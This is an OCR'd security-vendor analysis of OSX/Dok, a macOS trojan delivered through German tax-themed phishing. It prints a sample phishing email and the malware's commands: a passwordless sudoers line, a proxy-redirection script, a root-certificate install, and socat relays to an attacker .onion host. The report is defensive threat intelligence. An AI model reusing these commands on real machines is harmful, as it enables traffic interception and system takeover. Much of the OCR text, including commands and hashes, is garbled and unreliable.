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People often assume that if you're running OSX, you’re relatively safe from malware. But
this is becoming less and less true, as evidenced by a new strain of malware encountered
by the Check Point malware research team. This new malware — dubbed OSX/Dok —
affects all versions of OSX, has 0 detections on VirusTotal (as of the writing of these words),
is signed with a valid developer certificate (authenticated by Apple), and is the first major
scale malware to target OSX users via a coordinated email phishing campaign.

Once OSX/Dok infection is complete, the attackers gain complete access to all victim
communication, including communication encrypted by SSL. This is done by redirecting
victim traffic through a malicious proxy server.

The malware mostly targets European users. For instance, one phishing message was
observed to target a user in Germany by baiting the user with a message regarding
supposed inconsistencies in their tax returns (see image, and translation, below).

1/10


http://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/

From Stefan Bormann <> 17 + Reply 4 Reply ED Followup |~ < Forward  More ~
Subject Fragen zu der Stevererklarung 26-04-2017 0C00

Guten Tag, mein Name ist Stefan Bormann, ich bin Steuerpr”ufer von lhrem Bezirk. Es haben sich einige Fragen zu
lhrer Steuererkl”arung ergeben. Dieses Dokument enth”alt eine Liste von Fragen zu lhrer Steuererkl"arung sowie
meine Telefonnummer, Mit freundlichen GR™USSEN, Stefan Bormann Eidgen"ossische Steuerverwaltung Diese
Nachricht und jegliche Anlagen sind vertraulich und unter Umst“anden geheim oder anderweitig vor einer
Offenlegung gesch™utzt. Falls Sie nicht der beabsichtigte Empfanger sind, ist es Ihnen nicht gestattet, diese
Nachricht oder eine Anlage zu kopieren oder ihren Inhalt gegen”uber irgendwelchen anderen Personen offenzulegen.
Falls Sie diese Nachricht versehentlich erhalten haben, setzen Sie den Absender bitte umgehend davon in Kenntnis,
und I"oschen Sie die Nachricht und jegliche Anlagen aus lhrem System. lhre personenbezogenen Daten werden nicht
ohne Ihre ausdruckliche Zustimmung mit Dritten ausserhalb des Konzerns geteilt. Alle diese datenempfangenden
Stellen gew"ahrleisten die Einhaltung des Datenschutzes und der Datensicherheit. F"ur die Online-Bestellung bzw.
den Kauf gewisser Dienstleistungen und Produkte ist die Angabe und Registrierung Ihrer Personendaten
unumg”anglich.. Nur so ist es m"oglich, dass Sie auf Ihr Kundencenter zugreifen k"onnen cder die estv Ihnen die
Rechnungen zustellen kann,

Guten Tag,

mein Name ist Stefan Bormann, ich bin Steverpr”ufer von lhrem Bezirk,

Es haben sich einige Fragen zu lhrer Steuererkl”arung ergeben.

Dieses Dokument enth”alt eine Liste von Fragen zu lhrer Steuererkl”arung sowie meine Telefonnummer.

Mit freundlichen GR"USSEN,
Stefan Bormann
Sehweizeraihe Elﬂg!ﬂﬂiltmhﬂ'l
Confédération fuilie

Confederazione Svizzera
Confederaziun svizra

Eidgen"ossische Steuerverwaltung

Good day,

My same is Stefan Bormann, I am taxpajyer of your district.

There havre been some questions about Jyour S4X DeTUTh.

This document contains & list of guestions about your tax return and =y telephone nuamber.
Beat regards,

Stefan Bormann

Eidgen "tax administracicn

This measage and any actachments are comfidential and, under certain CAircumsCances, AFe Secrer of otherwise procected from disclosure.
If you are not the intended reciplent, you aATe nar permiveed,

Ta copy this Bessage oF an atcachmant or To discless LT COREEnT AGALNAET any Sther persen.

If you have received this message by miscake, plesss notify che sender imsediacely, and delete the Eessage and any attachmgscs £rom your Sysces.

Your pesacsal data will ot be ahased with thind pasties cutside tha Sroup without JoUr exXpiess SonMat.

All of these data-geceiving sgencies ensure compliance with data protecticn and dats secuzity.

For the online coder or the purchase of certain services and products, the entsy and segistraticn of your personal data is uneacceptable.
tnly in this way is it possible that you cAn ACGERS YOUT CuStOmEr CERtEr oOF eStY you the imvoices.

Update — May-4-2017

Our ongoing investigation of the OSX/DOK campaign have led us to detect several new
variants of this malware.

Following Apple’s revocation of the previous developer ID, it seems the attackers have
quickly adapted and are now using a new Apple developer ID.
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These new variants also contain an extra obfuscated layer using UPX in an attempt to avoid
security products detection.

Apple has been notified about these new developments, and the new developer ID has now
been revoked.

Check Point customers remain protected against these threats with the following detections:

e Trojan.OSX.DOK
e Trojan.OSX.DOK-Domain
e Mac OSX/Dok Unauthorized Remote Access

IOCs:

» 3f0130cfd7bf61b8e8226dd4775319¢c7376a08ec019f9df12875e9ea55992e94
» ¢cd93142f1e0bac1d73235515bc12715f9634eafdeObea2d6c294bf3549d612b7
o 4252e482c9801463e6f684c71f70cb64a17ae74957ed8986f2401c653acae1d7

Technical details:

The malware bundle is contained in a .zip archive named Dokument.zip. It was signed on
April 21th 2017 by a “Seven Muller” and the bundle name is Truesteer.AppStore.

Upon execution, the malware will copy itself to the /Users/Shared/ folder, and will then
proceed to execute itself from the new location by running the shell commands below:

Command Effect

Give all users “execute” permission for
the application.

Wait 5 seconds.

Delete the original application copy,
assuming it was downloaded into the
Downloads folder.

_ / d/AE Execute the application from its new
p/Contents/MacOs /AR location.

Dokument

Then, the malware will pop-up a fabricated message claiming that “the package is
damaged” and therefore cannot execute:
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The file “Dokument” could not be opened.

v It may be damaged or use a file format that Preview
“‘G doesn‘t recognize.

OK

If a loginltem named “AppStore” exists, the malware will delete it, and instead add itself as a
loginltem, which will persist in the system and execute automatically every time the system
reboots, until it finishes to install its payload.

Password EEeTs[[R] It

These items will open automatically when you log in:

Mide Item Kind

%% AppStore Application

To hide an application when you log in, select the checkbox in the Hide
column next to the application.

_|._
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The malicious application will then create a window on top of all other windows. This new
window contains a message, claiming a security issue has been identified in the operating
system that an update is available, and that to proceed with the update, the user has to
enter a password as shown in the picture below. The malware checks the system
localization, and supports messages in both German and English.

[T Tued0DAM O =

OS X Updates Available

A security issue has been identified in a OS X software product that could affect your system.
You can help protect your system by installing this update from App Store.
After you install this update, you may have to reopen you browser.

How to install security updates:

1. Press Update All button in the current opened window.
2. When Admin permissions dialog box appears, enter password and click OK

Update All

The victim is barred from accessing any windows or using their machine in any way until
they relent, enter the password and allow the malware to finish installing. Once they do, the
malware gains administrator privileges on the victim’s machine.

Using those privileges, the malware will then install brew, a package manager for OS X,
which will be used to install additional tools — TOR and SOCAT

Tor, the latter is a low-level command-line utility that allows connection to the dark web.

The malware will then give the current user admin privileges immediately on demand
without prompting for a password. This is done so that the malware won’t provoke constant
admin password prompts when abusing its admin privileges with the sudo command. This
is done by adding the following line to /etc/sudoers:

%USER_NAME_HERE% ALL=(ALL) NOPASSWD: ALL
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The malware then changes the victim system'’s network settings such that all outgoing
connections will pass through a proxy, which is dynamically obtained from a Proxy
AutoConfiguration (PAC) file sitting in a malicious server. The script that makes this
configuration changes can be seen below:

ip=%(curl api.ipify.org)
str=5( LC_CTYPE-=C —dc "a-zA-Z8-9" = Sdev/urandom
autoProxyURL="http://127.0.0.1:5555/${str}.is?ip=${ip}"

fusr/sbin/networksetup -detectnewhardware
IFS-$'\n'
i $(networksetup -listallnetworkservices +2 )

autoProxyURLLocal="fusr/sbin/networksetup —getautoproxyurl “$i"
echo "“$i Proxy set to SautoProxyURLLocal"
[[ $autoProxyURLLocal $autoProxyURL 1]
fusr/sbin/networksetup -setautoproxyurl $i $autoProxyURL
echo "Set auto proxy for $i to $autoProxyURL"

fusr/sbin/networksetup -setautoproxystate “$i" on
echo "Turned on auto proxy for i

IFS
echo “Auto proxy present, correct & enabled for all imterfaces"

Then resulting change can be seen in the Network Settings:
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J Network
I’i <> Ethernet
) TCP/IP DNS WINS  802.1X Hardware
5 Select a protocol to configure: Proxy Configuration File
F Auto Proxy Discovery URL:  http://127.0.0.1:5555/sRfTcDHGwvt.js?ip:
3 Automatic Proxy Configuration If your network administrator provided you with the
' Web Proxy (HTTF) address of an automatic proxy configuration (.pac) file,
l enter it above.
! Secure Web Proxy (HTTPS)
i FTP Proxy

SOCKS Proxy

Streaming Proxy (RTSF)

Gopher Proxy

Exclude simple hostnames
Bypass proxy settings for these Hosts & Domains:
*local, 169.254/16
Use Passive FTP Mode (PASV)
s Cancel OK

L

The malware will then proceed to install a new root certificate in the victim system, which
allows the attacker to intercept the victim’s traffic using a Man in The Middle (MiTM) attack.
By abusing the victim’s new-found trust in this bogus certificate, the attacker can
impersonate any website, and the victim will be none the wiser. The new certificate is
installed using the following command:

security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain
Jtmp/cert.der

The newly-installed certificate can be seen in the two images below.

The malware will also install 2 LaunchAgents that will start with system boot, and have
the following names:
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| @ (=} Keychain Access

l_l Click 1o uniock the System keychain,
. Keychains

#
m login
g’ Local ltems

COMODO RSA Extended Validation Secure Server CA 2
Root certificate suthority
s Expires: Tuescay, January 26, 2027 a1 10:00-24 AM GMT-05:00
i System 3 This certificate has custom trust seltings
) System Roots

Mame K Date Modified Expires Byt hain
k] com.appie kerberos koc certificate = Jun T, 2038, 1M:47:26 AM  System
¥ com.apple kerberos kde public key - - System
¥ com.apple kerberos.de private key .- .- Systom
El com.apple.systemdefoult certificate s Jun 7, 2038, 1:47:25 AM  Systom
com.app's, systemdefault pubdic ooy Systom
i com.apple. systemdelault private key == -- System
Category = T—— =
i Al ltems
L. Passwords
Secure Notes
B My Certificates
¥ Keys

Ld Certificates

Users/ #User® /Library/LaunchAgents/com.apple.Safari.proxy.plist

/Users/ %lUser®% /Library/Launchlgents/com.apple.5afari.pac.plist

These LaunchAgents will redirect requests to 127.0.0.1 through the dark web address
‘paoyu7gub72lykuk.onion®. This is necessary for the previous PAC configuration to work
(note that the original configuration looks for the PAC file on the local host 127.0.0.1).

These LaunchAgents consist of the following BASH commands:

Jusr/local/bin/socat tcpd-LISTEN:5555, reuseaddr,fork,keepalive,bind=127.8.8.1
SOCKSAA:127.8.8.1:paoyu/gub72lykuk.onion: 88, socksport=9858

Jusr/local/bin/socat tcpd-LISTEN:5588, reuseaddr,fork,keepalive,bind=127.8.8.1
SOCKS4A:127.0.8.1:paoyu/gub/2lykuk.onion: 5588, socksport=98568

As a result of all of the above actions, when attempting to surf the web, the user’s web
browser will first ask the attacker web page on TOR for proxy settings. The user traffic is
then redirected through a proxy controlled by the attacker, who carries out a Man-In-the-
Middle attack and impersonates the various sites the user attempts to surf. The attacker is
free to read the victim’s traffic and tamper with it in any way they please.

When done, the malware will delete itself.

All is left to say: beware of Trojans bearing gifts, especially if they ask for your root
password.
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Crtsloa COMODO RSA Extended Validation Secure Server CA 2
ot | PRoot certificate authority
- | Expires: Tuesday, January 26, 2027 at 10:00:24 AM GMT-05:00
© This certificate has custom trust setlings

F Trust
| w Details

Subject Namd
Country
State/Province
Locality
Organization
Common Namea
Email Address

ar Nami
Country
State/Province
Locality
Organization
Common Nama

Email Address

Serial Number

Version

Signature Algorithm
Parameters

Mot Valid Before
Mot Valid After

Public Kaey Infc
Algorithm
Parameters
Public Key
Exponant

Key Size

Key Usage

Signature

GB

Greater Manchester

Salford

COMODO CA Limited

COMODO REA Extended Validation Secure Server CA 2
support@comeodo.com

GB

Greater Manchester

Salford

COMODO CA Limited

COMODO R5A Extended Validation Secure Server CA 2
support@comodo.com

00 EB 08 6A 4F 53 BE BA 4D
3

SHA-258 with RSA Encryption { 1.2.840.113548.1.0.191 )
g

Saturday, January 28, 2017 a1 10:00:24 AM GMT-05:00
Tuesday, January 28, 2027 at 10:00:24 AM GMT-05:00

RSA Encryption { 1.2.840,113549.1.1.1)
none

512 bytes : DO AADA 2372 C7 75 BE ..
65537

4096 bits

Any

612 bytes : 35 TOCB 46 AC9C DG AD .

I0Cs

Sample hash —

7819ae7d72fa045baa77e9c8e063a69df439146b27f9c3bb10aef52dcc77¢c145

4131d4737fe8dfe66d407bfd0a0df18a4a77b89347471cc012da8efc93c661a5

LaunchAgent :
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fUsers/training/Library/Launchfigents/com.apple.Safari.proxy.plist

fUsers/training/Library/LaunchAgents/com. apple.Safari.proxy.pac

Check Point Protections
Trojan.OSX.DOK

DOK
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